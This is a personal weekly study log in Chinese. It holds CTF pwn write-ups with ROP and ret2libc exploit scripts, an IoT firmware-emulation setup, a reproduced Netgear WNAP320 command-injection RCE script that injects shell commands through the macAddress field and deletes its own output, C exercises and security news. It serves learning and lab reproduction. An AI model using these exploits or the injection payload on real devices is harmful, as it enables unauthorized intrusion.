20250714-20250720
20250714-20250720
题目复现
[GHCTF 2025]真会布置栈吗?
64位无保护
反汇编启动只有_start和print
.text:0000000000401033 _start proc near ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000401033
.text:0000000000401033 var_8 = qword ptr -8
.text:0000000000401033
.text:0000000000401033 mov rsi, offset msg1
.text:000000000040103D mov edx, 17Bh
.text:0000000000401042 call print
.text:0000000000401047 push rsp
.text:0000000000401048 mov rsi, rsp
.text:000000000040104B mov edx, 8
.text:0000000000401050 call print
.text:0000000000401055 mov rsi, offset msg2
.text:000000000040105F mov edx, 235h
.text:0000000000401064 call print
.text:0000000000401069 xor rax, rax
.text:000000000040106C xor rdi, rdi ; fd
.text:000000000040106F mov rsi, rsp ; buf
.text:0000000000401072 mov edx, 539h ; count
.text:0000000000401077 syscall ; LINUX - sys_read
.text:0000000000401079 jmp [rsp+8+var_8]
.text:0000000000401079 _start endp
.text:0000000000401079
.text:0000000000401079 _text ends
题目给了gadgets
.text:0000000000401017 gadgets:
.text:0000000000401017 pop rsi
.text:0000000000401018 pop rdi
.text:0000000000401019 pop rbx
.text:000000000040101A pop r13
.text:000000000040101C pop r15
.text:000000000040101E jmp r15
.text:0000000000401021 ; ---------------------------------------------------------------------------
.text:0000000000401021 xor rdx, rdx
.text:0000000000401024 jmp r15
.text:0000000000401027 ; ---------------------------------------------------------------------------
.text:0000000000401027 xor rsi, rsi
.text:000000000040102A jmp r15
.text:000000000040102D ; ---------------------------------------------------------------------------
.text:000000000040102D xor rdi, rdi
.text:0000000000401030 jmp r15
利用思路:用syscall通过栈控制寄存器执行execve('bin/sh')
/*
syscall number rax // 59
arg 1 rdi // /bin/sh
arg 2 rsi // 0
arg 3 rdx // 0
arg 4 r10
arg 5 r8
arg 6 r9
*/
本题有xchg rax, r13
把r13和rax的值互换,所以在写入r13之后调用该地址xchg rax, r13 (0x0040100C)
目标栈:
00000000 19 10 40 00 00 00 00 00 00 00 00 00 00 00 00 00 │··@·│····│····│····│
00000010 00 10 40 00 00 00 00 00 1c 10 40 00 00 00 00 00 │··@·│····│··@·│····│
00000020 17 10 40 00 00 00 00 00 00 20 40 00 00 00 00 00 │··@·│····│· @·│····│
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000040 00 00 00 00 00 00 00 00 0a 10 40 00 00 00 00 00 │····│····│··@·│····│
00000050 1c 10 40 00 00 00 00 00 17 10 40 00 00 00 00 00 │··@·│····│··@·│····│
00000060 00 00 00 00 00 00 00 00 00 20 40 00 00 00 00 00 │····│····│· @·│····│
00000070 00 00 00 00 00 00 00 00 3b 00 00 00 00 00 00 00 │····│····│;···│····│
00000080 0a 10 40 00 00 00 00 00 21 10 40 00 00 00 00 00 │··@·│····│!·@·│····│
#encoding=utf-8
#可本地复现
from pwn import *
from LibcSearcher import *
p = process('./pwn')
elf=ELF("./pwn")
# io=remote("node2.anna.nssctf.cn",28264)
context(arch="amd64",os="linux",log_level="debug")
pop_r13_r15 = 0x401019
print_addr = 0x401000
a = p64(pop_r13_r15) + p64(0x0) + p64(print_addr) + p64(0x40101c) + p64(0x401017)
a += p64(0x402000) + p64(0x0) + p64(0x0)
a += p64(0x0) + p64(0x40100A) + p64(0x40101c) +p64(0x401017)
a += p64(0x0) + p64(0x402000) + p64(0x0) + p64(59) + p64(0x40100A) + p64(0x401021)
#a += p64(0x40100A)
p.sendlineafter(b'>>',a)
b = asm(shellcraft.sh())
#pause()
p.send(b'/bin/sh\x00')
#pause()
#p.send(b' ')
p.interactive()
[CISCN 2019东北]PWN2
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
elf=ELF("./pwn")
io=remote("node5.anna.nssctf.cn",22042)
io.sendlineafter('choice!',b'1')
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
pop_rdi=0x400c83
encrypt_addr=0x4009a0
ret_addr=0x4006b9
payload=b'\x00'+b'a'*(0x50-0x1)+b'a'*8
payload+=p64(pop_rdi)+p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(encrypt_addr)
io.sendlineafter('encrypted',payload)
puts_real=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00"))
from LibcSearcher import *
libc=LibcSearcher('puts',puts_real)
libc_base=puts_real-libc.dump("puts")
system_addr=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump("str_bin_sh")
#io.sendlineafter(b'choice!\n',b'1')
payload=b'\x00'+b'a'*0x57
payload+=p64(ret_addr)+p64(pop_rdi)+p64(bin_sh)
payload+=p64(system_addr)
io.sendlineafter('encrypted',payload)
io.interactive()
[HZNUCTF 2023 preliminary]signin(libc)
from pwn import *
from LibcSearcher import *
#不可本地复现
p = remote('node5.anna.nssctf.cn',29052)
context(arch='amd64',os='linux',log_level='info')
binary_file = './[HZNUCTF 2023 preliminary]signin'
elf = ELF(binary_file)
# p = process(binary_file)
offset = cyclic(0x40+8)
main = elf.sym['main']
print(hex(main))
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x401283
ret = 0x40101a
payload1 = flat([offset,pop_rdi,puts_got,puts_plt,main])
p.sendline(payload1)
p.recvuntil("sign in here~")
puts_leak_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_leak_addr))
libc = LibcSearcher('puts',puts_leak_addr)
libc_base = puts_leak_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')
print(hex(system))
print(hex(str_bin_sh))
payload2 = flat([offset,ret,pop_rdi,str_bin_sh,system])
p.sendline(payload2)
p.interactive()
'''
[+] There are multiple libc that meet current constraints :
0 - libc6-i386_2.31-13_amd64
1 - libc6-i386_2.33-0experimental1_amd64
2 - libc6_2.31-0ubuntu9.10_amd64
3 - libc6-i386_2.33-0experimental0_amd64
4 - libc6-i386_2.31-9_amd64
5 - libc6-i386_2.31-17_amd64
6 - libc6-i386_2.31-13+deb11u1_amd64
7 - libc6-i386_2.31-13+deb11u4_amd64
8 - libc6-i386_2.31-13+deb11u3_amd64
9 - libc6_2.31-0ubuntu9.9_amd64
[+] Choose one : 2
'''
[NISACTF 2022]ezstack(text)
[WUSTCTF 2020]getshell2(text)
from pwn import *
#可本地复现
#start
#r = remote("node5.anna.nssctf.cn",28464)
r = process("./[WUSTCTF 2020]getshell2")
#params
sh_addr = 0x08048670
system_addr = 0x08048529
#attack
payload = b'M'*(0x18+4) + p32(system_addr) + p32(sh_addr)
r.recv()
r.sendline(payload)
r.interactive()
Netgear WNAP320 RCE(CVE-2016-1555)
一个PHPpwn的复现,web基础薄弱了
复现完发现是一个很老的漏洞了,不过用来测试IOT环境搭建是没问题的,主要收获就是这个环境搭建了
环境搭建
系统:ubuntu22.04
binwalk(固件解包)
binwalk:binwalk是一个固件解包的工具,当我们用编程器dump出一个固件用,需要用binwalk来解压。
#参考网址:https://github.com/ReFirmLabs/binwalk/wiki/Cargo-Installation
'''安装rust编译器
sudo apt install curl
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y
. $HOME/.cargo/env
直接下载项目
cargo install binwalk
'''
#以下为源码编译选项,为binwalk提供充实的依赖环境
'''下载,安装依赖项
git clone https://github.com/ReFirmLabs/binwalk
sudo apt-get install libbz2-dev
sudo apt install build-essential libfontconfig1-dev liblzma-dev
sudo ./binwalk/dependencies/ubuntu.sh
编译
cd binwalk
cargo build --release
最终二进制文件:
binwalk/target/release/binwalk
'''
Firmadyne(固件仿真)
#参考文章:https://github.com/firmadyne/firmadyne#introduction
#安装依赖(缺失python-psycopg2,用pip3下载)
sudo apt-get install busybox-static fakeroot git dmsetup kpartx netcat-openbsd nmap python3-psycopg2 snmp uml-utilities util-linux vlan
pip3 install psycopg2
#firmadyne仓库拉取
sudo git clone --recursive https://github.com/firmadyne/firmadyne.git
#安装postgresql数据库
sudo apt-get install postgresql
sudo -u postgres createuser -P firmadyne [默认密码是:firmadyne]
sudo -u postgres createdb -O firmadyne firmware
sudo -u postgres psql -d firmware < ./firmadyne/database/schema
#绝对路径查看
pwd
#设置firmadyne.config 把第四行换成自己的绝对路径
cd firmadyne
sudo vim firmadyne.config
#安装所需二进制依赖包(后面的六行不好使,选择手动下载粘贴)
sudo ./download.sh
'''
echo "Downloading console..."
download https://github.com/firmadyne/console/releases/download/v1.0/console.armel
download https://github.com/firmadyne/console/releases/download/v1.0/console.mipseb
download https://github.com/firmadyne/console/releases/download/v1.0/console.mipsel
echo "Downloading libnvram..."
download https://github.com/firmadyne/libnvram/releases/download/v1.0c/libnvram.so.armel
download https://github.com/firmadyne/libnvram/releases/download/v1.0c/libnvram.so.mipseb
download https://github.com/firmadyne/libnvram/releases/download/v1.0c/libnvram.so.mipsel
'''
#安装其他依赖项
sudo apt-get install qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
本数据库图形化界面:https://www.pgadmin.org/download/
密码:123456
SearchSploit(漏洞检测)
$ sudo git clone https://gitlab.com/exploit-database/exploitdb.git /opt/exploitdb
$ sudo ln -sf /opt/exploitdb/searchsploit /usr/local/bin/searchsploit
WNAP320 RCE固件测试(使用时系统换成全英文)
仿真Netgear(网件路由器) WNAP320测试
固件包:
获取地址: Download Center | Downloads and Documentation | NETGEAR
wget https://www.downloads.netgear.com/files/GDC/WNAP320/WNAP320%20Firmware%20Version%202.0.3.zip
解压固件包:(如果运行失败,错误扔给ai总结缺失库,然后重装库或者找文档解决对应问题)
sudo python3 /home/zhuyi/IOT/firmadyne/sources/extractor/extractor.py -b Netgear -sql 127.0.0.1 -np -nk "WNAP320.zip" images
#参数解释
-b "brand 品牌"
-sql "连接本地数据库"
-np "代表没有并行操作"
-nk "代表不提取内核"
识别CPU框架:
sudo /home/zhuyi/IOT/firmadyne/scripts/getArch.sh ./images/1.tar.gz
存储数据库:
删除残留
sudo -i -u postgres
psql -U firmadyne -d firmadyne
DELETE FROM object_to_image WHERE iid = 1;
DELETE FROM image WHERE id = 1;
\q
sudo python3 /home/zhuyi/IOT/firmadyne/scripts/tar2db.py -i 1 -f ./images/1.tar.gz
#参数解释
-i 1 "这里的1代表的数据库中的id,当你有多个固件镜像时候会有多个id,我这里就一个所以就是1"
-f "这里就是解包后估计的tar包路径,一般解压后的固件都在./images下面"
照着博客改的
#修改语言
sudo vim /etc/default/locale
LANG="en_US.UTF-8"
LANGUAGE="en_US:en"
LC_ALL="en_US.UTF-8"
#重启
sudo reboot
构建QEMU镜像:
sudo /home/zhuyi/IOT/firmadyne/scripts/makeImage.sh 1
#参数解释
"id这里为1"
漏洞代码:
# Exploit Title: Netgear WNAP320 2.0.3 - 'macAddress' Remote Code Execution (RCE) (Unauthenticated)
# Vulnerability: Remote Command Execution on /boardDataWW.php macAddress parameter
# Notes: The RCE doesn't need to be authenticated
# Date: 26/06/2021
# Exploit Author: Bryan Leong <NobodyAtall>
# IoT Device: Netgear WNAP320 Access Point
# Version: WNAP320 Access Point Firmware v2.0.3
import requests
import sys
if(len(sys.argv) != 2):
print('Must specify the IP parameter')
print("eg: python3 wnap320_v2_0_3.py <IP>")
sys.exit(0)
host = sys.argv[1]
port = 80
cmd = ''
while(True):
cmd = input('Shell_CMD$ ')
#injecting system command part writing the command output to a output file
data = {
'macAddress' : '112233445566;' + cmd + ' > ./output #',
'reginfo' : '0',
'writeData' : 'Submit'
}
url = 'http://' + host + '/boardDataWW.php'
response = requests.post(url, data=data)
if(response.ok):
#read the command output result
url = 'http://' + host + '/output'
cmdOutput = requests.get(url)
print(cmdOutput.text)
#remove trace
cmd = 'rm ./output'
data = {
'macAddress' : '112233445566;' + cmd + ' #',
'reginfo' : '0',
'writeData' : 'Submit'
}
url = 'http://' + host + '/boardDataWW.php'
response = requests.post(url, data=data)
else:
print('[!] No response from the server.')
学习笔记
练手题目(语法题):
编写一个函数string_change(cahrstr[]),要求实现str中的字符串的互换。如“abcde”换成”edcba
编写一个函数char_search(char str[],char c),如果字符串str中包含字符c则返回数值1,否则返回数值0
编写一个函数string_cut(char string[], cahr c),其功能是删除字符串中所有的字符变量c,例如 char string = "abaca"; cahr c = 'a';
编写一个函数string_search(char str1[], cahr str2[]),如果字符串str1中包含字符串2则返回数值1,否则返回数值0
写一个函数int prime(int x),如果x是素数,返回值为1,否则返回0,并用主函数验证它
写一个函数power(double x, int n),其返回值位xn,并用此函数计算1.53
用递归算法编写求Fibonacci数列第n项值的函数fib(int n),并用主函数输出它的前20项来验证该函数
定义3个整型变量及指向整形变量的指针变量,利用3个指针变量完成数据的输入,从小到大排序、输出
已知一个整型数组a[10],要求定义2个指向整型变量的指针变量,max、min,使得它们分别指向数组的最大数和最小数
编写一个函数int palindrome(char *string),如果字符串string是回文,返回值为1,否则为0。“回文”指顺读、逆读都一样的字符串
强内聚低耦合
PC端和手机端游戏,玩法可以相同,但是界面,操作,输入输出这类UI,是无法兼容的,所以要实现如下原则
界面和逻辑分离,业务和算法分离
业务:斗地主的规则
算法:洗牌,自动排序
强内聚:分工明确,出问题不会一起加班的
验证排序效率高低(推荐看《计算机程序设计艺术》的排序、查找算法)
TeX:数学专业的排版工具
要有四个条件
一、存储媒介
二、数据结构
三、数值分布(讨论的时候默认均匀分布)
四、排序算法
C语言存储特性:连续性和一致性
数组中的元素不考虑对齐,也不重叠释放
数组的操作公式
(重要)(int)ary + sizeof(int) * 3
ary[n] = (int)ary + sizeof(type) * n
所以int ary[5] = {0,1,2,3,4,5}
&ary[3] 等价于 &3[ary]
(int)ary + sizeof(int) * 3
为什么等价?因为汇编指令完全相同
原因:地址和整形操作,和函数传参是一样的,不管你的顺序,只要是一个地址,一个整形,以[]的方式链接,就是地址[整形]
练习题:下标控制内存
已知0x00400000的地址的内容是00905A4D,怎么把该地址的数据取出来?
00400000 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00
//答:
printf("%p\r\n",ary[(0x00400000 - (int)ary) / sizeof(int)]);
练习题:取地址和访问的区别
int *p = NULL;
printf("%p\r\n",&p[10]);//0x00000024
//printf语法只是查找地址位置,没有访问,所以不会崩溃
//知识点:取地址没有访问的动作,只是通过一串公式计算出结果
地址访问崩溃:如果不清理栈,那么无限增长下去,进入不可访问的地址(内核地址等),就会发生崩溃
本质就是访问了不可访问的地址,所以崩溃
安全通告
病毒预警:首例利用微软UI自动化框架的银行木马:Coyote变种攻击手法解析
信息咨询(全球网络安全态势、政策与合规动态、行业技术与趋势):天防安全、江南信安、信息安全与通信保密
政策与合规动态:
1、网络身份证”来了!正式启用!
公安部、国家网信办等6部门联合公布的《国家网络身份认证公共服务管理办法》7月15日起开始正式施行。
国家网络身份认证公共服务平台以法定身份证件信息为基础,以网号、网证、网络身份应用标识为呈现方式,既能证明身份,又能避免个人信息泄露。今后,在网购、办理业务等要用到实名信息场景中,可以用“网络身份证”进行核验,极大地降低个人身份信息泄露风险。
2、中央网信办就《数据安全技术 电子产品信息清除技术要求》强制性国家标准(征求意见稿)公开征求意见
近日,中央网信办就《数据安全技术 电子产品信息清除技术要求》强制性国家标准(征求意见稿)公开征求意见,要求厂商在手机、平板、电脑等电子产品中强制预置“一键清除”功能,确保用户能便捷彻底删除个人数据;该标准针对不同存储介质设定了差异化覆写要求,规定手机、平板和固态硬盘(SSD)数据至少覆写2次,机械硬盘(HDD)至少覆写3次以上,以实现数据不可恢复,清除范围覆盖应用程序、媒体文件、缓存、备份数据、系统配置(含账号密码及生物识别信息)、NFC绑定卡片及加密密钥等全部7类用户数据。
行业技术趋势:
AI伪装工具可实现更难检测的网络攻击
暗网出现新型AI伪装工具“Xanthorox AI”,可在离线状态自动生成并实时变异恶意代码,使攻击流量与正常HTTPS通信难以区分。该工具集语音深度伪造、进程注入于一体,已导致1700余名开发者中招。卡巴斯基也证实,2025年前四个月,伪装成ChatGPT的恶意文件数量同比激增115%,中小企业用户占受害总量八成。专家指出,攻防失衡的关键在于攻击者能低成本利用公开数据训练模型,而防御方需满足合规与预算限制。为应对挑战,Palisade Research发布“AI蜜罐”,通过仿真政府服务器诱捕自主攻击智能体,为实时预警与防御策略提供数据支撑。